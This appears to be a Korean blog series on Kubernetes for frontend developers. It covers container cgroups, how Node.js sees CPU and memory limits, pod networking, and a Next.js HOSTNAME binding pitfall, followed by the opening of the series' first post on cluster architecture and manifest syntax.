읽는 축은 마지막 열이다. CPU 1개, 메모리 512MB로 제한한 컨테이너인데, `os.cpus()`는 여전히 4개(colima VM의 코어 수)를 돌려주고 `os.totalmem()`도 VM 전체 메모리인 7.9GB를 돌려준다. 이 둘은 커널의 전역 정보를 읽기 때문에 cgroup을 모른다. 건물 비유로는 창밖 풍경(건물 전체)을 보여주는 셈이다. 반면 `availableParallelism()`은 1을 돌려준다. libuv가 cgroup의 CPU 쿼터를 반영해 주기 때문이다. V8도 힙 상한을 4,288MiB에서 259MiB로 스스로 줄였다. cgroup의 `memory.max`를 읽고 그에 맞춰 기본값을 잡는, [사이징 글](/2026/08/nodejs-k8s-pod-sizing)에서 다룬 Node 24의 컨테이너 인식이 여기서 동작한 것이다. 이쪽은 계약서를 읽어주는 API다.

이 표의 절반이 거짓말이라는 사실은 실무에서 두 종류의 사고로 나타난다. 하나는 `os.cpus().length`로 워커 수를 정하는 코드다. 64코어 노드 위의 1코어 파드에서 이 값은 64를 돌려주고, 워커 64개가 1코어 쿼터를 나눠 먹으며 스로틀 지옥이 열린다(pm2의 `-i max`가 정확히 이 함정이고, 사이징 글에서 자세히 다뤘다). 다른 하나는 `totalmem()` 기반의 캐시 크기 계산 같은 코드인데, 컨테이너 limit의 몇 배를 "가용 메모리"로 믿게 된다. 컨테이너 안에서 병렬성이 필요하면 `availableParallelism()`을, 메모리 판단이 필요하면 cgroup 값을 읽는 것이 안전하다.

힙 상한이 cgroup에 맞춰 움직이는 것을 조건별로 다시 보면, 512MB 제한에서 259MiB, 2GB 제한에서 1,120MiB로, 제한이 있을 때는 limit의 절반 안팎을 따라왔다. 제한이 없을 때는 기준 자체가 달라져서 VM 전체 메모리 7.9GB의 약 28%인 2,240MiB로 잡혔다. 정확한 산식은 버전을 탈 수 있으니, 여기서는 "제한을 주면 V8이 그에 비례해 힙을 줄인다"는 방향만 가져가면 된다. 이 자동 조정이 얼마나 고마운 것인지, 그리고 힙 플래그를 명시하는 순간 어떻게 꺼지는지는 사이징 글의 주제다.

## 파드: 컨테이너에 IP와 자원 계약을 붙인 것

여기까지는 도커만으로도 가능한 이야기였다. 여기서 쿠버네티스가 등장한다. 쿠버네티스는 컨테이너를 직접 다루지 않고 **파드(Pod)**라는 포장 단위로 다루는데, 컨테이너가 이미 실행 단위인데 왜 레이어 하나를 더 씌우는지가 첫 질문이 된다.

파드는 컨테이너 한 개 이상을 묶어서, 그 묶음에 세 가지를 붙인 것이다. 첫째, **IP 주소 하나**. 파드 안의 컨테이너들은 네트워크 namespace를 공유해서, 서로를 localhost로 부르고 바깥에는 하나의 IP로 보인다. 로그 수집기나 프록시 같은 보조 컨테이너(사이드카)를 앱 옆에 붙이는 패턴이 이 공유 덕에 성립한다. 둘째, **자원 계약**. 파드 명세의 `requests`/`limits`가 앞 절에서 본 cgroup 파일로 강제된다. 셋째, **생명주기 하나**. 쿠버네티스는 파드 단위로 만들고, 옮기고, 죽인다. 스케줄링도 재시작도 파드가 최소 단위다.

이 네트워크 공유가 사실인지도 직접 확인했다. 같은 standalone 이미지로 앱 컨테이너와, 아무 일도 하지 않고 잠만 자는 사이드카 컨테이너를 한 파드에 넣고, 각자에게 자기 네트워크 인터페이스를 물어봤다.

```bash
# 명령과 출력은 IPv4 주소만 남도록 추린 것이다
$ kubectl exec sidecar-demo -c app -- node -e "console.log(os.networkInterfaces().eth0...)"
10.244.1.5
$ kubectl exec sidecar-demo -c sidecar -- node -e "console.log(os.networkInterfaces().eth0...)"
10.244.1.5
```

두 컨테이너가 같은 eth0, 같은 IP를 본다. 각자 인터페이스를 하나씩 받은 것이 아니라 **하나의 네트워크 namespace를 함께 쓰고 있다**는 물증이다. 컨테이너 절에서 namespace가 컨테이너마다 보이는 세계를 분리한다고 했는데, 파드는 그 경계 중 네트워크 하나를 컨테이너들 사이에서 일부러 허문 묶음인 셈이다. 사이드카에서 앱을 localhost로 불러보는 실험은 잠시 뒤 HOSTNAME 함정에서 이어진다.

파드가 계약의 단위라면, 그 계약을 집행하는 조직이 클러스터다. 조직도는 [1편](/2026/08/k8s-for-frontend-1)에서 그렸으니 여기서는 이 글에 필요한 만큼만 요약한다. 컨트롤 플레인의 스케줄러가 파드를 어느 노드에 둘지 정하고, 각 노드의 kubelet이 그 결정을 containerd에 전달해 앞 절에서 본 격리 장치를 두른 프로세스로 만든다. 그리고 우리가 매니페스트로 작성하는 것은 파드가 아니라 Deployment("이 앱을 N개 유지하라"는 선언)이고, Deployment가 ReplicaSet을, ReplicaSet이 파드를 만든다. 파드는 소모품이고, 우리가 관리하는 것은 선언뿐이라는 것이 쿠버네티스의 기본 자세다.

### 노드조차 컨테이너일 수 있다: kind

이 시리즈의 실험 환경인 kind는 위 구조를 재귀적으로 보여주는 재미가 있다. kind(Kubernetes in Docker)는 "노드"를 도커 컨테이너로 흉내 내 로컬에 클러스터를 만드는 도구인데, 클러스터를 만들고 나서 `docker ps`를 치면 이렇게 나온다.

```bash
$ docker ps --format 'table {{.Names}}\t{{.Image}}'
NAMES                      IMAGE
k8s-fe-lab-control-plane   kindest/node:v1.36.1
k8s-fe-lab-worker          kindest/node:v1.36.1
k8s-fe-lab-worker2         kindest/node:v1.36.1
```

노드 세 개가 그냥 컨테이너 세 개다. 그 컨테이너 안에서 kubelet과 containerd가 돌고, 우리 파드는 그 안에 다시 프로세스로 뜬다. 컨테이너가 격리 장치를 두른 프로세스라는 컨테이너 절의 결론을 받아들이면, 노드조차 컨테이너로 흉내 낼 수 있다는 것이 자연스러워진다. 격리는 층층이 겹칠 수 있는 장치이기 때문이다.

파드당 컨테이너를 몇 개 두는지, 자원 계약을 얼마로 쓰는지 같은 운영 결정은 이 시리즈의 종착점인 [사이징 글](/2026/08/nodejs-k8s-pod-sizing)이 다룬다. 이 절에서 필요한 것은 구조 하나다. **파드 = 컨테이너 묶음 + IP + cgroup 계약**, 그 계약을 컨트롤 플레인이 결정하고 kubelet이 집행한다는 것.

## 배포: 선언이 프로세스가 되기까지

이제 이 파드를 실제로 띄워 본다. 배포 명세는 요약하면 이렇다. standalone 이미지를 파드 2개(replicas)로 띄우고, CPU 1개와 메모리 512Mi를 limit으로 걸고, `/api/health`를 readiness probe(트래픽을 받아도 되는지 kubelet이 주기적으로 확인하는 검사)로 지정했다.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: k8s-fe-lab
spec:
  replicas: 2
  selector:
    matchLabels:
      app: k8s-fe-lab
  template:
    metadata:
      labels:
        app: k8s-fe-lab
    spec:
      containers:
        - name: app
          image: k8s-fe-lab:standalone
          resources:
            requests: {cpu: '500m', memory: '256Mi'}
            limits: {cpu: '1', memory: '512Mi'}
          readinessProbe:
            httpGet: {path: /api/health, port: 3000}
```

`kubectl apply -f app.yaml`은 명령이 아니라 선언이라는 점이 쿠버네티스의 중심 아이디어다. "파드를 띄워라"가 아니라 "이 앱의 원하는 상태는 레플리카 2개다"라는 문서를 API 서버에 제출하는 것이고, 그 문서를 읽은 컨트롤러들이 연쇄적으로 움직인다. 앞 절에서 요약한 역할 분담이 여기서 실제로 돌아간다. Deployment 컨트롤러가 ReplicaSet을 만들고, ReplicaSet이 파드 2개를 만들고, 스케줄러가 노드를 고르고, 해당 노드의 kubelet이 컨테이너를 띄운다. 이 연쇄가 전부 이벤트로 기록되기 때문에, apply 직후의 이벤트 로그를 시간순으로 읽으면 배포 한 사이클이 그대로 보인다. 실측한 로그를 발췌하면 이렇다.

```text
02:09:48  Normal   ScalingReplicaSet  k8s-fe-lab         Scaled up replica set k8s-fe-lab-6c8fb44888 from 0 to 2
02:09:48  Normal   SuccessfulCreate   k8s-fe-lab-6c8...  Created pod: k8s-fe-lab-6c8fb44888-wvx2x
02:09:48  Normal   Scheduled          ...-wvx2x          Successfully assigned default/...-wvx2x to k8s-fe-lab-worker
02:09:48  Normal   Pulled             ...-wvx2x          Container image "k8s-fe-lab:standalone" already present on machine
02:09:48  Normal   Created            ...-wvx2x          Container created
02:09:48  Normal   Started            ...-wvx2x          Container started
02:09:48  Warning  Unhealthy          ...-wvx2x          Readiness probe failed: ... connect: connection refused
```

apply부터 두 파드가 모두 Ready가 되기까지 0.97초가 걸렸다. Ready로 바뀐 시각은 이벤트가 아니라 파드의 conditions 필드에 남는데, 두 파드 모두 Started 다음 초인 02:09:49였다. 몇 가지를 짚어 둘 만하다.

먼저 `Pulled` 줄의 "already present on machine". 이번 측정은 이미지를 미리 노드에 넣어둔 상태라 풀(pull, 레지스트리에서 이미지를 내려받는 것)이 생략됐고, 그래서 1초가 나왔다. 실전의 첫 배포나 새 노드에서는 이 줄이 수십 초짜리 다운로드가 되고, 그 시간은 이미지 절에서 잰 전송 크기(590MB냐 69MB냐)에 비례한다. 배포 타임라인에서 가장 큰 변수가 이미지 크기라는 것이 여기서 연결된다.

다음으로 마지막의 `Unhealthy` 경고. 실패처럼 보이지만 정상 동작이다. 컨테이너가 Started 된 시점에 Node 프로세스는 아직 리슨을 시작하기 전이고, 그 짧은 틈에 첫 readiness probe가 먼저 도착해 connection refused를 받은 것이다. 중요한 것은 이 실패 동안 파드가 **트래픽을 받지 않는다**는 점이다. readiness가 성공하기 전까지 파드는 서비스의 대상 목록에 오르지 않는다. "떠 있다"와 "받을 준비가 됐다"를 구분하는 이 장치가 배포 중 무중단을 만드는 핵심 부품인데, 그 이야기는 [트래픽 편](/2026/08/k8s-for-frontend-3)과 [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 제대로 다룬다.

### 파드 안에서 다시 만난 cgroup

파드가 떴으니, 컨테이너 절에서 도커로 했던 관찰을 쿠버네티스 안에서 한 번 더 확인해 둔다. 파드에 열어둔 `/api/info` 엔드포인트는 Node가 보는 세계를 그대로 돌려준다.

```json
{
  "pod": "k8s-fe-lab-6c8fb44888-nm5h4",
  "node": "v24.19.0",
  "availableParallelism": 1,
  "cpus": 4,
  "totalmemMiB": 7922,
  "heapSizeLimitMiB": 259,
  "rssMiB": 83,
  "cgroup": {"memoryMax": "536870912", "cpuMax": "100000 100000"}
}
```

limit으로 건 CPU 1개와 메모리 512Mi가 cgroup 파일(`100000 100000`, `536870912`)로 내려왔고, Node는 그걸 읽어 병렬성 1과 힙 상한 259MiB로 스스로를 맞췄다. 도커에서 본 것과 같은 값이다. 매니페스트의 YAML 한 줄이 cgroup 파일을 거쳐 V8 힙 상한까지 내려오는 경로가 이것으로 끝까지 이어졌다.

### HOSTNAME: 파드에서만 localhost가 거부된 이유

그런데 이 값을 받아오는 과정에서 예상 밖의 함정을 하나 밟았다. 파드 안에서 `kubectl exec`로 서버를 호출하는데, localhost가 거부된 것이다.

```bash
$ kubectl exec deploy/k8s-fe-lab -- node -e "fetch('http://localhost:3000/api/info')..."
Error: connect ECONNREFUSED 127.0.0.1:3000
```

readiness probe는 통과하고 서비스도 정상인데 localhost만 안 된다. 원인은 Next.js standalone이 생성하는 `server.js`에 있다. 바인드 주소를 정하는 줄이 이렇게 생겼다(Next.js 16.2.12 기준).

```js
const hostname = process.env.HOSTNAME || '0.0.0.0'
```

`HOSTNAME`이 있으면 그 주소에 바인드한다는 뜻인데, 하필 쿠버네티스에서는 이미지가 `HOSTNAME`을 따로 정의하지 않는 한 파드의 `HOSTNAME` 환경변수가 **파드 이름**으로 채워진다. 파드 이름은 파드 안 `/etc/hosts`에서 파드 IP로 풀리므로, 서버는 `0.0.0.0`(모든 인터페이스)이 아니라 **파드 IP에만** 바인드된다. 파드 IP로 들어오는 readiness probe와 서비스 트래픽은 멀쩡하고, 127.0.0.1로 들어가려는 것들만 거부된다. `kubectl exec`로 하는 로컬 디버깅, localhost를 호출하는 사이드카, `exec` 기반 헬스체크 스크립트가 여기에 걸린다.

사이드카가 실제로 걸리는지는, 파드 절에서 네트워크 공유를 확인했던 그 파드로 이어서 실험했다. 사이드카 컨테이너에서 앱을 localhost로 부르면 그대로 거부된다.

```bash
$ kubectl exec sidecar-demo -c sidecar -- node -e "fetch('http://localhost:3000/api/health')..."
FAIL ECONNREFUSED
```

같은 네트워크 namespace를 쓰는 두 컨테이너 사이에서조차 localhost가 안 통하는, 파드의 전제(localhost로 서로 부른다)가 깨진 상태다.

해법은 바인드 주소를 명시하는 것이다. Dockerfile의 러너 스테이지에 한 줄이면 된다.

```dockerfile
ENV HOSTNAME=0.0.0.0
```

이 한 줄이 실제로 듣는지도 확인했다. 이 ENV를 붙인 이미지로 같은 사이드카 실험을 반복하면 localhost 호출이 복구된다. 적어도 이 실험의 containerd 환경에서는, 이미지에 정의된 `HOSTNAME`이 파드 이름보다 우선했다. 다만 부작용이 하나 따라온다. 이제 앱이 읽는 `process.env.HOSTNAME`은 파드 이름이 아니라 `0.0.0.0`이라서, 이 값을 로그의 파드 식별자로 쓰던 코드가 함께 무너진다. 신원이 필요하면 환경변수 대신 `os.hostname()`을 읽으면 된다. UTS hostname은 여전히 파드 이름이라, 같은 파드에서 `process.env.HOSTNAME`은 `0.0.0.0`이고 `os.hostname()`은 파드 이름이 나오는 것까지 확인했다.

이 함정이 흥미로운 건, 도커 단독 환경에서는 잘 드러나지 않는다는 점이다. 도커의 `HOSTNAME`은 컨테이너 ID라서 같은 방식으로 컨테이너 IP에 바인드되지만, 도커에서는 localhost로 컨테이너에 들어갈 일 자체가 드물다(포트 매핑은 컨테이너 IP로 간다). 쿠버네티스로 넘어와 `kubectl exec` 디버깅을 하는 순간에야 수면 위로 올라온다. 로컬과 도커에서 멀쩡하던 것이 파드에서만 이상하게 굴 때, 환경변수가 실행 환경마다 다르게 주입된다는 사실은 꽤 자주 범인이 된다.

## 우리 서비스에 대볼 다섯 가지 질문

이 글에서 확인한 것들을 우리 서비스에 물어볼 수 있는 형태로 추려 둔다. `deploy/my-app`은 각자 서비스 이름으로 바꿔 읽으면 된다.

**1. 이미지에서 우리 앱은 몇 %인가?**

```bash
docker history <우리-이미지> --format 'table {{.Size}}\t{{.CreatedBy}}' | head -20
```

앱 산출물보다 베이스와 node_modules가 압도적으로 크다면(이 글의 예제는 앱이 2.5%였다), 감량의 여지가 그만큼 있다는 뜻이다.

**2. standalone을 쓰고 있는가?**

```bash
grep -r "output.*standalone" next.config.*
```

Next.js인데 이 설정이 없고 최종 이미지에 `node_modules` 전체가 실려 있다면, 458MB → 37MB 급의 감량이 설정 한 줄과 멀티스테이지 Dockerfile로 가능하다.

**3. 파드 안의 Node는 limit을 인식하고 있는가?**

```bash
kubectl exec deploy/my-app -- node -e "const os=require('node:os'),v8=require('node:v8'); console.log({parallelism: os.availableParallelism(), cpus: os.cpus().length, heapMiB: Math.round(v8.getHeapStatistics().heap_size_limit/1048576)})"
```

`cpus`는 노드 코어 수, `parallelism`은 파드 limit이 나오는 것이 정상이다. 코드 어딘가에서 `os.cpus().length`로 워커 수나 동시성을 정하고 있다면 그 값이 파드가 아니라 노드 크기라는 점을 의심해 볼 만하다.

**4. 배포마다 이미지를 새로 받고 있는가?**

```bash
kubectl get events --sort-by=.metadata.creationTimestamp | grep my-app
```

`Pulled`에 "already present"가 아니라 실제 다운로드가 매번 찍히고 그 간격이 길다면, 이미지 크기가 배포와 스케일 아웃 속도를 잡아먹고 있는 상태다.

**5. 서버는 어느 주소에 바인드되어 있는가?**

```bash
kubectl exec deploy/my-app -- node -e "fetch('http://localhost:'+(process.env.PORT||3000)+'/').then(r=>console.log(r.status)).catch(e=>console.log(e.cause?.code))"
```

`ECONNREFUSED`가 나오면 서버가 파드 IP에만 바인드된 상태다. localhost 기반 사이드카나 exec 헬스체크가 있다면 `ENV HOSTNAME=0.0.0.0`을 검토한다.

## 정리

이 글에서 측정으로 확인한 것을 요약한다.

- **이미지는 파일시스템 스냅샷이고, 그 대부분은 우리 앱이 아니다.** naive한 이미지에서 앱은 2.5%였다. 베이스 교체와 standalone으로 1,715MB가 208MB까지 내려갔고, 그 차이는 새 노드에 파드가 뜰 때마다 시간으로 돌아온다.
- **컨테이너는 격리 장치를 두른 프로세스다.** 같은 프로세스가 안에서는 PID 1, 밖에서는 PID 7656이었다. namespace가 보이는 것을, cgroup이 쓰는 양을 정하고, 도커 옵션과 쿠버네티스 limit은 결국 cgroup 파일의 숫자로 내려간다. 그리고 그 안의 Node는 절반만 진실을 본다. `os.cpus()`와 `totalmem()`은 호스트 값을, `availableParallelism()`과 V8 힙 상한은 cgroup 값을 돌려준다.
- **파드는 컨테이너 묶음에 IP와 자원 계약을 붙인 단위**이고, 그 계약을 컨트롤 플레인이 결정하고 kubelet이 집행한다. 우리가 관리하는 것은 파드가 아니라 "원하는 상태"를 적은 Deployment다.
- **apply는 명령이 아니라 선언이다.** 컨트롤러들의 연쇄가 그 선언을 프로세스로 만들고, 과정 전체가 이벤트로 남아 초 단위로 읽힌다. 그 타임라인에서 가장 큰 변수는 이미지 풀, 즉 이미지 절에서 잰 전송 크기였다.
- **환경변수는 실행 환경마다 다르게 주입된다.** 쿠버네티스가 넣어주는 `HOSTNAME`(파드 이름)이 Next.js standalone의 바인드 주소가 되면서, 사이드카의 localhost 호출까지 깨지는 것을 확인했다. 해법은 `ENV HOSTNAME=0.0.0.0`이고, 그 대신 파드 신원은 환경변수가 아니라 `os.hostname()`으로 읽는다. 로컬과 도커에서 멀쩡하던 것이 파드에서만 이상할 때 먼저 의심해 볼 지점이다.

컨테이너와 파드가 실제로 무엇인지는 여기까지의 측정으로 확인했다. [다음 편](/2026/08/k8s-for-frontend-3)은 바깥에서 들어온 요청이 이 파드에 도착하기까지의 경로다. `kubectl get svc`가 보여주는 ClusterIP라는 주소는 ping도 받지 않는 이상한 IP인데, 어떻게 트래픽이 그리로 흘러 들어가는지를 이번처럼 직접 열어서 확인한다.

---

Source: https://yceffort.kr/2026/08/k8s-for-frontend-1.md
Title: 프론트엔드 개발자를 위한 <em>쿠버네티스 개념 지도</em>: 파드에서 오토스케일러까지
Description: SSR을 운영하는 프론트엔드 개발자가 마주치는 쿠버네티스 용어와 구조를 실무 흐름 순서로 정리했다. 클러스터의 전체 구조부터 배포, 파드의 상태와 자원, 트래픽 경로, 오토스케일링까지. 시리즈의 첫 편이자 이후 편들의 참조 지도다.
Date: 2026-08-05
Tags: kubernetes, frontend, nodejs, infrastructure, devops
Series: 프론트엔드 개발자가 알아야 할 쿠버네티스

## Table of Contents

## 프론트엔드 개발자와 쿠버네티스

Next.js든 Remix든, SSR이나 BFF(Backend For Frontend, 프론트엔드 팀이 직접 관리하는 API 중간 서버)를 운영하는 순간 프론트엔드 개발자도 쿠버네티스 사용자가 된다. 배포 파이프라인이 파드를 갈아 끼우고, 모니터링 알림에 OOMKilled 같은 단어가 찍히고, 인프라 조직과의 대화에 requests와 readiness가 오간다. 그런데 이 용어들을 체계적으로 배울 기회는 의외로 드물다. 대부분은 필요할 때마다 하나씩 검색해 파편으로 알게 되고, 파편들이 서로 어떻게 연결되는지는 흐릿한 채로 남는다.

이 글은 그 파편들을 하나의 지도로 잇는 용어·개념 정리다. 사전처럼 나열하는 대신 실무에서 만나는 흐름 순서로 묶었다. 클러스터의 전체 구조를 먼저 그리고, 배포를 이루는 것들, 파드의 상태와 자원, 트래픽 경로, 오토스케일링 순으로 내려간다. 뒤쪽에는 경계가 흐려지기 쉬운 개념 쌍들과, 시리즈를 읽다가 언제든 다시 찾아볼 수 있는 용어 인덱스를 표로 모아 두었다.

이 글은 "프론트엔드 개발자가 알아야 할 쿠버네티스" 시리즈의 첫 편이기도 하다. 여기서는 용어와 구조를 정리하는 데 집중하고, 실제 측정은 다음 편들이 맡는다. 컨테이너와 파드의 실체를 확인하는 [2편](/2026/08/k8s-for-frontend-2), 트래픽 경로를 따라가는 [3편](/2026/08/k8s-for-frontend-3), 파드의 삶과 죽음을 다루는 [4편](/2026/08/k8s-for-frontend-4), 오토스케일링을 실측하는 [5편](/2026/08/k8s-for-frontend-5)으로 이어지며, 이미 공개된 [Node.js 파드 사이징 글](/2026/08/nodejs-k8s-pod-sizing)이 시리즈의 심화 종착점이다.

> 이 글의 쿠버네티스 관련 서술은 Kubernetes v1.36 기준이다. 개념 정리가 목적이라 버전을 타는 세부 동작은 최소화했다.

## 클러스터의 전체 구조

쿠버네티스 클러스터는 크게 두 부분으로 나뉜다. 결정을 내리는 **컨트롤 플레인**(control plane)과, 앱이 실제로 올라가는 **노드**(Node)들이다. 관리 회사에 비유하면 본사와 각 동에 해당한다.

노드는 그냥 서버다. AWS라면 EC2 인스턴스 하나가 노드 하나다. 앱은 **파드**(Pod)라는 단위로 포장되어 이 노드들 위에 흩어져 올라간다. 파드가 정확히 무엇인지는 다음 절에서 다루고, 지금은 "실행 중인 앱 사본 하나"로 잡아 둔다.

컨트롤 플레인 쪽에서 알아둘 구성 요소는 셋이다.

- **API 서버**: 클러스터의 유일한 관문이다. 뒤에 나올 `kubectl`도, 배포 파이프라인도, 쿠버네티스 내부 구성 요소들끼리도 전부 API 서버를 통해서만 대화한다. 클러스터에 무언가를 시키는 방법은 이 API에 요청을 보내는 것 하나뿐이다.
- **etcd**: 클러스터의 모든 상태(어떤 앱이 몇 개, 어디에, 어떤 설정으로 떠 있어야 하는지)가 기록되는 장부 데이터베이스다. 직접 만질 일은 거의 없지만, 클러스터의 진실은 여기 적힌 것뿐이라는 감각은 여러 동작을 이해하는 데 유용하다.
- **스케줄러(scheduler)**: 새로 만들어졌지만 아직 갈 곳이 정해지지 않은 파드를 보고, 어느 노드에 둘지 정한다. 각 노드에 남은 예약량을 따져서 자리를 고른다.

노드 쪽에는 둘이 있다.

- **kubelet**: 각 노드에 상주하는 에이전트다. "이 노드에 배정된 파드 목록"을 API 서버에서 받아, 컨테이너 런타임(containerd 등)을 시켜 실제 프로세스로 만든다. 파드의 건강 검사(뒤에 나올 probe)도 kubelet의 일이다.
- **kube-proxy**: 파드로 트래픽이 찾아올 수 있게 각 노드의 네트워크 규칙을 관리한다. 트래픽 절에서 다시 나온다.

마지막으로 **kubectl**은 개발자가 API 서버에 요청을 보낼 때 쓰는 공식 CLI다. `kubectl get pods`는 장부에서 파드 목록을 읽는 GET 요청이고, `kubectl apply`는 원하는 상태를 제출하는 요청이다. 특별한 도구가 아니라 HTTP 클라이언트라는 점을 기억해 두면 쿠버네티스의 많은 동작이 단순해 보인다.

여기까지를 한 장으로 그리면 이렇다.

```mermaid
flowchart TB
    KC["kubectl · 배포 파이프라인"] --> API
    subgraph CP["컨트롤 플레인 (결정)"]
        direction LR
        SCH["스케줄러"] --- API["API 서버"] --- ETCD[("etcd: 장부")]
    end
    API <--> KL
    subgraph N["노드 (실행)"]
        direction LR
        KP["kube-proxy"]
        KL["kubelet"] --> P1(("파드")) & P2(("파드"))
    end
```

구조는 이게 전부다. 컨트롤 플레인이 장부(etcd)를 근거로 결정을 내리면, 각 노드의 kubelet이 그 결정을 실행한다. 이제 이 구조 위에서 용어들을 흐름 순서로 본다.

## 배포를 이루는 것들: 이미지, Deployment, 파드

머지 버튼을 누르고 몇 분 뒤 서비스에 반영되기까지, 그 사이에 등장하는 개념들부터다.

CI가 하는 일은 코드를 **이미지**(image)로 만드는 것이다. 이미지는 앱과 그 실행에 필요한 파일 전체(Node.js 런타임, node_modules, 빌드 산출물)를 통째로 찍은 스냅샷이고, 완성되면 **레지스트리**(registry, 이미지 저장소. ECR이나 Docker Hub 같은 것)에 올라간다. 노드는 파드를 띄울 때 이 레지스트리에서 이미지를 내려받는다(pull). 이미지가 왜 생각보다 훨씬 크고 그 크기가 배포 속도에 어떻게 영향을 주는지는 [2편](/2026/08/k8s-for-frontend-2)에서 직접 잰다.

배포에서 실제로 작성하고 수정하는 것은 이미지가 아니라 **매니페스트**(manifest)라는 YAML 문서이고, 그 중심에 **Deployment**가 있다. Deployment는 "이 이미지를 파드 몇 개로 유지하라"는 **선언**이다. 여기서 쿠버네티스의 중심 사상이 나온다. "파드를 띄워라"라고 명령하는 것이 아니라, "파드 3개가 떠 있는 상태를 원한다"라고 장부에 적는 것이다. 그러면 컨트롤러라는 자동화 장치들이 현재 상태를 장부에 적힌 상태 쪽으로 계속 밀고 간다. 파드 하나가 죽으면 별도 명령 없이 새로 만들어지는 이유가 이것이다. 선언과 현실의 차이를 메우는 것이 컨트롤러의 일이기 때문이다.

Deployment와 파드 사이에는 **ReplicaSet**이라는 중간 관리자가 하나 더 있다. 평소에는 존재를 몰라도 되지만, `kubectl get pods`에서 파드 이름이 `my-app-6c8fb44888-wvx2x`처럼 생긴 이유가 이것이다. `my-app`(Deployment) 뒤의 해시가 ReplicaSet, 마지막 다섯 글자가 파드 고유 접미사다. 계층으로 정리하면 이렇다.

| 계층       | 역할                                           | 우리가 만지는가            |
| ---------- | ---------------------------------------------- | -------------------------- |
| Deployment | "이 앱을 N개 유지, 새 버전은 이렇게 교체" 선언 | 직접 작성한다              |
| ReplicaSet | 특정 버전의 파드 개수를 유지하는 중간 관리자   | 자동 생성, 만질 일 없음    |
| Pod        | 실행의 최소 단위. 소모품                       | 직접 만들지 않는 것이 원칙 |

파드가 소모품이라는 성질이 중요하다. 파드는 죽고, 대체되고, 다른 노드로 옮겨 다시 만들어지며, 이름도 그때마다 바뀐다. 그래서 특정 파드에 의존하는 설계(파드 로컬 파일에 상태 저장, 특정 파드 IP 하드코딩)는 처음부터 어긋난다. 관리 대상은 파드가 아니라 Deployment라는 선언이다.

새 버전으로의 교체는 이 구조 위에서 **롤링 업데이트**(rolling update)로 이뤄진다. Deployment가 새 이미지로 새 ReplicaSet을 만들고, 새 파드를 하나 띄우고, 준비가 확인되면 옛 파드를 하나 줄이는 식으로 점진적으로 교체한다. "준비가 확인되면"의 판정 기준이 다음 절의 readiness고, 이 교체 도중 요청이 유실되지 않기 위한 조건들은 [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 실측으로 다룬다.

교체가 진행 중인 순간을 그림으로 보면, Deployment 하나 아래에서 두 ReplicaSet이 시소를 타는 모양이다.

```mermaid
flowchart TB
    D["Deployment: '이 앱을 3개 유지'라는 선언"]
    D --> RSOLD["ReplicaSet (옛 버전)<br/>3 → 2 → 1 → 0"]
    D --> RSNEW["ReplicaSet (새 버전)<br/>0 → 1 → 2 → 3"]
    RSOLD --> PO(("파드"))
    RSNEW --> PN1(("파드")) & PN2(("파드"))
```

배포를 되돌리는 일도 이 구조 덕에 단순하다. 이전 ReplicaSet이 남아 있으므로 `kubectl rollout undo`는 새로 빌드할 것 없이 이전 버전의 파드를 다시 늘리는 것으로 **롤백**을 수행한다. 배포 진행 상황을 지켜보는 `kubectl rollout status`와 함께, rollout이라는 단어가 붙은 명령들은 전부 이 Deployment의 버전 교체를 다루는 도구다.

이 절에서 함께 짚어 둘 개념이 둘 더 있다. **레이블**(label)과 **셀렉터**(selector)다. 쿠버네티스에서 "이 Deployment의 파드들", "이 서비스가 트래픽을 보낼 파드들" 같은 소속 관계는 전부, 파드에 붙은 레이블(`app: my-app` 같은 키-값)을 셀렉터로 골라내는 방식으로 성립한다. 오브젝트들이 서로를 이름으로 직접 참조하지 않고 레이블로 느슨하게 묶이는 구조라서, 트래픽이 엉뚱한 파드로 가는 문제를 만나면 대개 이 레이블-셀렉터 매칭부터 확인하게 된다.

실무에서는 이 YAML들을 손으로 직접 관리하기보다 도구를 거치는 경우가 많다. **Helm**은 매니페스트를 템플릿과 값 파일로 나눠 패키지("차트")로 만드는 도구이고, **Kustomize**는 공통 매니페스트에 환경별 차이(dev/prod)를 덧대는 방식이다. 어느 쪽이든 최종 산출물은 결국 API 서버에 제출되는 같은 YAML이라는 점을 알아두면, 도구가 낯설어도 길을 잃지 않는다.

## 매니페스트의 기본 문법

Deployment가 무엇인지 알았으니, 그 YAML이 실제로 어떻게 생겼는지도 여기서 읽어 둔다. 쿠버네티스의 모든 오브젝트는 종류와 무관하게 같은 골격을 공유하기 때문에, 이 골격 하나만 익히면 처음 보는 매니페스트도 구조가 눈에 들어온다.

- **apiVersion**: 이 오브젝트가 속한 API 그룹과 버전. Deployment는 `apps/v1`, Pod나 Service처럼 초기부터 있던 것들은 그냥 `v1`이다.
- **kind**: 오브젝트의 종류. `Deployment`, `Service`, `ConfigMap` 등.
- **metadata**: 이름, Namespace, 레이블 같은 신원 정보.
- **spec**: 원하는 상태의 본문. 오브젝트 종류마다 내용이 다르고, 우리가 작성하는 내용의 대부분이 여기 들어간다.

이 넷이 우리가 쓰는 전부다(조회하면 보이는 `status` 필드는 시스템이 채우는 현재 상태라 직접 쓰지 않는다). 최소한의 Deployment와 Service를 주석과 함께 붙여 보면 이렇다.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app
spec:
  replicas: 3 # 이 파드를 3개 유지하라
  selector:
    matchLabels:
      app: my-app # 아래 template의 레이블과 일치해야 한다
  template: # 여기부터가 파드의 설계도
    metadata:
      labels:
        app: my-app # 파드마다 붙는 레이블
    spec:
      containers:
        - name: app
          image: my-registry/my-app:1.2.3
          ports:
            - containerPort: 3000
          resources: # 자원 계약. 다음 절에서 설명한다
            requests: {cpu: '500m', memory: '256Mi'}
            limits: {cpu: '1', memory: '512Mi'}
          readinessProbe: # 트래픽을 받아도 되는지 검사. 역시 다음 절에서
            httpGet: {path: /api/health, port: 3000}
---
apiVersion: v1
kind: Service
metadata:
  name: my-app
spec:
  selector:
    app: my-app # 이 레이블이 붙은 파드들에게 트래픽을 보낸다
  ports:
    - port: 80
      targetPort: 3000
```

